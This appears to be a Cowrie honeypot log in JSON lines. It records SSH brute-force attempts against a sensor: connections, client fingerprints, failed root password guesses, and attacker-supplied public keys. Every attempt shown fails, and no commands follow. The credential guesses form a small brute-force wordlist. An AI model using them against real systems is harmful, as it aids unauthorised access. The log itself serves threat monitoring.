{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":58754,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfb771e18852","protocol":"ssh","message":"New connection: 152.32.205.153:58754 (10.17.0.5:22) [session: dfb771e18852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:38.598876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:38.602409Z","src_ip":"152.32.205.153","session":"dfb771e18852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:38.612377Z","src_ip":"152.32.205.153","session":"dfb771e18852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucas","message":"login attempt [root/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:38.685632Z","src_ip":"152.32.205.153","session":"dfb771e18852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:39.700045Z","src_ip":"152.32.205.153","session":"dfb771e18852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:46.316906Z","src_ip":"8.210.75.243","session":"884303a79d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57424,"dst_ip":"159.203.135.109","dst_port":22,"session":"e67c0399c7e6","protocol":"ssh","message":"New connection: 159.65.58.200:57424 (159.203.135.109:22) [session: e67c0399c7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:55.489951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:55.624348Z","src_ip":"159.65.58.200","session":"e67c0399c7e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:55.626314Z","src_ip":"159.65.58.200","session":"e67c0399c7e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sosnin","password":"123456","message":"login attempt [sosnin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:56.716398Z","src_ip":"159.65.58.200","session":"e67c0399c7e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:58.002134Z","src_ip":"159.65.58.200","session":"e67c0399c7e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.55622935295105,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:59.565782Z","src_ip":"170.64.224.25","session":"a560eecf926a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48660,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9919bff0fa8","protocol":"ssh","message":"New connection: 8.210.75.243:48660 (10.17.0.5:22) [session: a9919bff0fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:11.537267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:11.540837Z","src_ip":"8.210.75.243","session":"a9919bff0fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":56222,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d15652dbde5","protocol":"ssh","message":"New connection: 166.62.35.226:56222 (10.17.0.5:22) [session: 4d15652dbde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:28.155717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:28.159608Z","src_ip":"166.62.35.226","session":"4d15652dbde5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:28.225812Z","src_ip":"166.62.35.226","session":"4d15652dbde5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"T@1k0$M@st3r@P@ss","message":"login attempt [root/T@1k0$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:28.434258Z","src_ip":"166.62.35.226","session":"4d15652dbde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:29.502095Z","src_ip":"166.62.35.226","session":"4d15652dbde5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":37504,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7b684ae79aa","protocol":"ssh","message":"New connection: 190.244.39.224:37504 (159.203.135.109:22) [session: b7b684ae79aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:30.744200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:30.751635Z","src_ip":"190.244.39.224","session":"b7b684ae79aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:30.929845Z","src_ip":"190.244.39.224","session":"b7b684ae79aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321234","message":"login attempt [root/321234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:31.640717Z","src_ip":"190.244.39.224","session":"b7b684ae79aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:32.823856Z","src_ip":"190.244.39.224","session":"b7b684ae79aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:45.836215Z","src_ip":"8.210.75.243","session":"38b025e178f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.249","src_port":54346,"dst_ip":"10.17.0.5","dst_port":22,"session":"43b23ac80300","protocol":"ssh","message":"New connection: 209.90.232.249:54346 (10.17.0.5:22) [session: 43b23ac80300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:54.703100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:54.707395Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:54.777633Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:50:1a:63:45:04:52:c6:1f:49:c8:32:be:88:b8:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8n+Gu0sVacyWSPKClKRWqeAtbZMUHbr4fkGzw5T8Gr0Es1eM9ctBKqRwxd+fyjUYhK9iTPu5L/igRS+htZE3dqDpna5QREmWkjluu+nUJ39ziauwWZLlDEBF3OjZcl9dKETWWrFHq4GHMabABw0TBz95gC5hiS50lVvkOa3AhQb//BiOiJT8U9WvWosO9updUB5HgwZLzldhYbkjU9e38J0GXZ70KuOubanv7fIva2XJ1qY0RKLf/pRooS7bVpeW05VtB1sQP1WOlLXKtNo1pztrFQOtxztZ4e2GYHoav3Sk9C8BAJ6e+FLDQ5I965x8MVFOHo1HgtSS69W8RX0p1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:50:1a:63:45:04:52:c6:1f:49:c8:32:be:88:b8:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.106293Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:50:1a:63:45:04:52:c6:1f:49:c8:32:be:88:b8:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8n+Gu0sVacyWSPKClKRWqeAtbZMUHbr4fkGzw5T8Gr0Es1eM9ctBKqRwxd+fyjUYhK9iTPu5L/igRS+htZE3dqDpna5QREmWkjluu+nUJ39ziauwWZLlDEBF3OjZcl9dKETWWrFHq4GHMabABw0TBz95gC5hiS50lVvkOa3AhQb//BiOiJT8U9WvWosO9updUB5HgwZLzldhYbkjU9e38J0GXZ70KuOubanv7fIva2XJ1qY0RKLf/pRooS7bVpeW05VtB1sQP1WOlLXKtNo1pztrFQOtxztZ4e2GYHoav3Sk9C8BAJ6e+FLDQ5I965x8MVFOHo1HgtSS69W8RX0p1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.109202Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:aa:bb:c4:f4:b8:6a:1a:29:e5:35:f0:e4:b5:2d:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpx9rcHYPGFox6SocPgFJ804tY/nyjKnmr4FUi90taVxubWP8N4csI3XPK3o5qbwjziAerrLLGRIGGTxoUXMbO0j2Nv30LudByescZQrbxDdZAeT+WK3MH5EY/UAAbhFxbYx+3AgFMATaQ2Jl/7dXyR5nolwbiOqaWOzm32sww34TDnu5TXH+o24BTGRvL9MF63pGW6Vp4ayI2MDBsJmLXNS2EN9DrFB47z5MqJGlJ7UDU7wcH5RANQmKjsBU4Sxw2c9AM9khva2no5YXPjmnc7EXRtiuQGmtb5P56rGGQSGx52oMEVx/qTSV+1RbvhLYetXuDRvpCyUATcHIRXudF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:aa:bb:c4:f4:b8:6a:1a:29:e5:35:f0:e4:b5:2d:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.178287Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:aa:bb:c4:f4:b8:6a:1a:29:e5:35:f0:e4:b5:2d:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpx9rcHYPGFox6SocPgFJ804tY/nyjKnmr4FUi90taVxubWP8N4csI3XPK3o5qbwjziAerrLLGRIGGTxoUXMbO0j2Nv30LudByescZQrbxDdZAeT+WK3MH5EY/UAAbhFxbYx+3AgFMATaQ2Jl/7dXyR5nolwbiOqaWOzm32sww34TDnu5TXH+o24BTGRvL9MF63pGW6Vp4ayI2MDBsJmLXNS2EN9DrFB47z5MqJGlJ7UDU7wcH5RANQmKjsBU4Sxw2c9AM9khva2no5YXPjmnc7EXRtiuQGmtb5P56rGGQSGx52oMEVx/qTSV+1RbvhLYetXuDRvpCyUATcHIRXudF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.180435Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:d0:1e:da:78:74:09:2c:3e:10:59:c4:7c:45:ee:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjXeZ7+iEqfFZhlmqim3iyeozR0mHc89B9OGGKDny5hknD3zdbwtlkd//VJeVuExCYbETNGW3TfCySX9MEUyPl3hWgjRZRAJIS4Zr74ZOTlfrVm2G/ag6ZZWiXTQlEG8bYKIR2TZoTlAX9MAsiq3X5Nd+wpjfy4pZ+4gSzAAJqVvBwPBrIOgBsvDELEVYDhabzTWNXgm+TuJ/W4NwvD0eyVfRoT26TVNJeVgfIgDMfZlxACV5WJYGqFhpEWX4aQfEtPe4SGTuuqY3VFIHGAMJmgW5BiJxv7nVf9jiG7Vn9eY6nvk7YDqneoI4JP80sFYJb6A0RetU5qPOAfKP4Nra5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:d0:1e:da:78:74:09:2c:3e:10:59:c4:7c:45:ee:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.249496Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:d0:1e:da:78:74:09:2c:3e:10:59:c4:7c:45:ee:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjXeZ7+iEqfFZhlmqim3iyeozR0mHc89B9OGGKDny5hknD3zdbwtlkd//VJeVuExCYbETNGW3TfCySX9MEUyPl3hWgjRZRAJIS4Zr74ZOTlfrVm2G/ag6ZZWiXTQlEG8bYKIR2TZoTlAX9MAsiq3X5Nd+wpjfy4pZ+4gSzAAJqVvBwPBrIOgBsvDELEVYDhabzTWNXgm+TuJ/W4NwvD0eyVfRoT26TVNJeVgfIgDMfZlxACV5WJYGqFhpEWX4aQfEtPe4SGTuuqY3VFIHGAMJmgW5BiJxv7nVf9jiG7Vn9eY6nvk7YDqneoI4JP80sFYJb6A0RetU5qPOAfKP4Nra5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.251341Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:b9:58:0c:46:77:61:72:fb:e1:f2:87:dc:f4:9a:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsOFtj7jTeMY8zYelzR4/fb/BBWIAUwVT4eY+Ndr5gvmTPpAWYqPrSTdYQECEhLsPFk6SkHN27gdGCJSTokaP8FO+aW4vNwM0mtqTkrVid7dt7o++jZ74dmoxyNzB+Ro83oqDRaQ6dIG2gsPhNTiGAnSfHVnE8xeSqocg6niHqxWUW2vQKRQ7laWuK3ZUgbdMACyPgggQmE+50pjeysh4LZ10QGOl4eOCVkJEEK3dTqVSwvfz1vLEdH5AXaGcDBYaXZdRcIhz00IATTVZnK7lNaSSpuuVFgqxHFqVjluUfouW+Ip3Dq29FMQGAk7N9O0V3fMNLrScg5FO4ElXgOD1Nw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:b9:58:0c:46:77:61:72:fb:e1:f2:87:dc:f4:9a:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.320123Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:b9:58:0c:46:77:61:72:fb:e1:f2:87:dc:f4:9a:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsOFtj7jTeMY8zYelzR4/fb/BBWIAUwVT4eY+Ndr5gvmTPpAWYqPrSTdYQECEhLsPFk6SkHN27gdGCJSTokaP8FO+aW4vNwM0mtqTkrVid7dt7o++jZ74dmoxyNzB+Ro83oqDRaQ6dIG2gsPhNTiGAnSfHVnE8xeSqocg6niHqxWUW2vQKRQ7laWuK3ZUgbdMACyPgggQmE+50pjeysh4LZ10QGOl4eOCVkJEEK3dTqVSwvfz1vLEdH5AXaGcDBYaXZdRcIhz00IATTVZnK7lNaSSpuuVFgqxHFqVjluUfouW+Ip3Dq29FMQGAk7N9O0V3fMNLrScg5FO4ElXgOD1Nw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.322448Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:8a:63:1c:9b:81:2e:67:ac:3d:d0:22:af:96:1c:7d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF0h8niOkeXs6wQ2+hSlqhoXOrBFr9yD9SAEKyTLPs17","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f5:8a:63:1c:9b:81:2e:67:ac:3d:d0:22:af:96:1c:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.392090Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:8a:63:1c:9b:81:2e:67:ac:3d:d0:22:af:96:1c:7d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF0h8niOkeXs6wQ2+hSlqhoXOrBFr9yD9SAEKyTLPs17","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.394138Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
